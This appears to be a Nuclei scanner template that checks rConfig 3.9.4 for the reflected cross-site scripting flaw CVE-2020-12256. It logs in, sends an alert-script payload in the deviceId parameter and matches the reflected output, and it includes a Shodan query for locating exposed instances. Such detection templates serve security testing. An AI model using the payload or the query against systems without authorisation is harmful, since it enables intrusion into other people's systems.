id: CVE-2020-12256

info:
  name: rConfig 3.9.4 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The rConfig 3.9.4 is vulnerable to cross-site scripting. The devicemgmnt.php file improperly validates the request coming from the user input. Due to this flaw, An attacker can exploit this vulnerability by crafting arbitrary javascript in `deviceId` GET parameter of devicemgmnt.php resulting in execution of the javascript.
  reference:
    - https://www.rconfig.com/downloads/rconfig-3.9.4.zip
    - https://gist.github.com/farid007/8855031bad0e497264e4879efb5bc9f8
    - https://nvd.nist.gov/vuln/detail/CVE-2020-12256
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2020-12256
    cwe-id: CWE-79
    epss-score: 0.17512
    epss-percentile: 0.95545
    cpe: cpe:2.3:a:rconfig:rconfig:3.9.4:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 3
    vendor: rconfig
    product: rconfig
    shodan-query: http.title:"rConfig"
  tags: cve,cve2020,rconfig,authenticated,xss

http:
  - raw:
      - |
        GET /login.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /lib/crud/userprocess.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&pass={{password}}&sublogin=1
      - |
        GET /devicemgmt.php?deviceId="><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(body_3, "<script>alert(document.domain)</script>") && contains(body_3, "rConfig - Configuration Management")'
          - 'contains(content_type_3, "text/html")'
        condition: and
# digest: 490a00463044021f4604388801579a18563a46e500856591037534e0fcd47d03f8eda90f497f930221008a9ce0ae38d609e38ed828ef51fbbb18959b1d48d4d97f44242fde010b21d3f5:922c64590222798bb761d5b6d8e72950